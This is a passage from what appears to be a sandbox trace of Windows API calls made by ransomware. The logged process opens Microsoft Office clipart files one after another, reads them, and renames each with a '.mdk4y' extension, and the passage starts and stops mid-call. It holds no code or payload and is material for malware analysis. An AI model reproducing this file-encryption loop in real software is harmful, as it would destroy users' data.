cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107480.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0149.986] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0149.986] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822521600000) returned 1 [0149.986] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1788, lpOverlapped=0x0) returned 1 [0150.003] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822523300000) returned 1 [0150.003] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822523300000) returned 1 [0150.004] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf.mdk4y")) returned 1 [0150.004] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0150.004] AreFileApisANSI () returned 1 [0150.004] GetACP () returned 0x4e4 [0150.004] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107482.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107482.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0150.004] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0150.005] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822523500000) returned 1 [0150.005] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1374, lpOverlapped=0x0) returned 1 [0150.023] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822525300000) returned 1 [0150.023] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822525300000) returned 1 [0150.023] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf.mdk4y")) returned 1 [0150.024] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0150.024] AreFileApisANSI () returned 1 [0150.024] GetACP () returned 0x4e4 [0150.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107484.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107484.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0150.024] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0150.025] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822525500000) returned 1 [0150.025] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xbe0, lpOverlapped=0x0) returned 1 [0150.145] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822537500000) returned 1 [0150.145] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822537500000) returned 1 [0150.145] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf.mdk4y")) returned 1 [0150.146] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0150.146] AreFileApisANSI () returned 1 [0150.146] GetACP () returned 0x4e4 [0150.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107488.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107488.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0150.146] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0150.147] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822537700000) returned 1 [0150.147] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1f40, lpOverlapped=0x0) returned 1 [0150.159] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822538900000) returned 1 [0150.159] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822538900000) returned 1 [0150.160] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf.mdk4y")) returned 1 [0150.160] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0150.160] AreFileApisANSI () returned 1 [0150.160] GetACP () returned 0x4e4 [0150.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107490.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107490.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0150.160] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0150.161] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822539100000) returned 1 [0150.161] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4054, lpOverlapped=0x0) returned 1 [0150.296] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822552600000) returned 1 [0150.296] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822552600000) returned 1 [0150.296] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf.mdk4y")) returned 1 [0150.297] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0150.297] AreFileApisANSI () returned 1 [0150.297] GetACP () returned 0x4e4 [0150.297] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107492.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107492.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0150.297] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0150.298] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822552800000) returned 1 [0150.298] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1acc, lpOverlapped=0x0) returned 1 [0150.310] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822554000000) returned 1 [0150.310] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822554000000) returned 1 [0150.311] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf.mdk4y")) returned 1 [0150.311] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0150.312] AreFileApisANSI () returned 1 [0150.312] GetACP () returned 0x4e4 [0150.312] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107494.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107494.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0150.312] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0150.312] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822554200000) returned 1 [0150.312] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1918, lpOverlapped=0x0) returned 1 [0150.323] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822555300000) returned 1 [0150.323] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822555300000) returned 1 [0150.323] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf.mdk4y")) returned 1 [0150.324] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0150.324] AreFileApisANSI () returned 1 [0150.324] GetACP () returned 0x4e4 [0150.324] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107496.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107496.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0150.324] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0150.326] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822555600000) returned 1 [0150.326] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x22a0, lpOverlapped=0x0) returned 1 [0150.390] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822562000000) returned 1 [0150.390] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822562000000) returned 1 [0150.391] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf.mdk4y")) returned 1 [0150.392] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0150.392] AreFileApisANSI () returned 1 [0150.392] GetACP () returned 0x4e4 [0150.392] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107500.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107500.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0150.392] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0150.392] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822562200000) returned 1 [0150.392] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1068, lpOverlapped=0x0) returned 1 [0150.459] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822568900000) returned 1 [0150.459] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822568900000) returned 1 [0150.460] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf.mdk4y")) returned 1 [0150.461] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0150.461] AreFileApisANSI () returned 1 [0150.461] GetACP () returned 0x4e4 [0150.461] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107502.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107502.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0150.461] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0150.461] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822569100000) returned 1 [0150.461] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2a54, lpOverlapped=0x0) returned 1 [0150.559] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822578900000) returned 1 [0150.559] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822578900000) returned 1 [0150.559] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf.mdk4y")) returned 1 [0150.560] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0150.560] AreFileApisANSI () returned 1 [0150.560] GetACP () returned 0x4e4 [0150.560] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107512.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107512.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0150.560] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0150.560] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822579000000) returned 1 [0150.560] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2c8c, lpOverlapped=0x0) returned 1 [0150.612] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822584200000) returned 1 [0150.612] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822584200000) returned 1 [0150.612] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf.mdk4y")) returned 1 [0150.613] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0150.613] AreFileApisANSI () returned 1 [0150.613] GetACP () returned 0x4e4 [0150.613] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107514.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107514.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0150.613] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0150.614] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822584400000) returned 1 [0150.614] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2fac, lpOverlapped=0x0) returned 1 [0150.629] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822585900000) returned 1 [0150.629] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822585900000) returned 1 [0150.630] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf.mdk4y")) returned 1 [0150.631] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0150.631] AreFileApisANSI () returned 1 [0150.631] GetACP () returned 0x4e4 [0150.631] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107516.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107516.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0150.631] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0150.632] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822586200000) returned 1 [0150.632] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x36b8, lpOverlapped=0x0) returned 1 [0150.646] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822587600000) returned 1 [0150.646] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822587600000) returned 1 [0150.646] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf.mdk4y")) returned 1 [0150.647] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0150.647] AreFileApisANSI () returned 1 [0150.647] GetACP () returned 0x4e4 [0150.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107526.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107526.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0150.647] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0150.648] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822587800000) returned 1 [0150.648] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1f0c, lpOverlapped=0x0) returned 1 [0150.663] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822589300000) returned 1 [0150.663] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822589300000) returned 1 [0150.663] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf.mdk4y")) returned 1 [0150.664] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0150.664] AreFileApisANSI () returned 1 [0150.664] GetACP () returned 0x4e4 [0150.664] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107528.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107528.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0150.664] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 